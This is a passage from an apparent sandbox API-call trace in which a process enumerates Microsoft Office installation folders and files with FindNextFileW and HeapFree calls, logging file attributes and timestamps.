nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1 [0287.697] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.697] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1 [0287.698] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.698] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1 [0287.699] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.700] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1 [0287.701] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.702] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it", cAlternateFileName="")) returned 1 [0287.703] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.704] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1 [0287.705] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.705] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1 [0287.706] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.706] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1 [0287.708] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.708] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1 [0287.710] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.710] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1 [0287.711] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.711] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80afe67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80afe67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80afe67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mashupcompression.dll", cAlternateFileName="MASHUP~1.DLL")) returned 1 [0287.713] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.713] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl", cAlternateFileName="")) returned 1 [0287.714] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.715] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1 [0287.716] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.716] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office.dll", cAlternateFileName="")) returned 1 [0287.717] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.717] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0287.719] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.719] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-pt", cAlternateFileName="")) returned 1 [0287.720] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.720] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1 [0287.909] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.909] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1 [0287.911] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.912] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1 [0287.913] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.913] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1 [0287.915] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.915] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45c38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqmapi_x64.dll", cAlternateFileName="SQMAPI~1.DLL")) returned 1 [0287.917] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.917] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn", cAlternateFileName="")) returned 1 [0287.918] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.918] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0287.919] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.919] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1 [0287.921] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.921] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6cde4ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6cde4ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6cde4ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c2b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.Spatial.NetFX35.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0287.922] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.922] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1 [0287.924] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.924] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1 [0287.926] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.926] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1 [0287.927] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.927] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANS", cAlternateFileName="")) returned 1 [0287.928] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.928] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 1 [0287.930] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.930] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 0 [0287.930] FindClose (in: hFindFile=0x3e81de8 | out: hFindFile=0x3e81de8) returned 1 [0287.930] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0287.930] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 0 [0287.930] FindClose (in: hFindFile=0x3e81da8 | out: hFindFile=0x3e81da8) returned 1 [0287.930] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0287.932] FindNextFileW (in: hFindFile=0x3e819e8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3688, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1 [0287.934] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0287.934] FindNextFileW (in: hFindFile=0x3e819e8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Power View Excel Add-in", cAlternateFileName="POWERV~1")) returned 1 [0287.937] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0287.937] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0287.938] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0287.938] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133a7bf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133a7bf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x0, cFileName="BI-Report.png", cAlternateFileName="BI-REP~1.PNG")) returned 1 [0287.940] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0287.940] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0287.941] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0287.941] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0287.943] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0287.943] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0287.944] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0287.944] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, 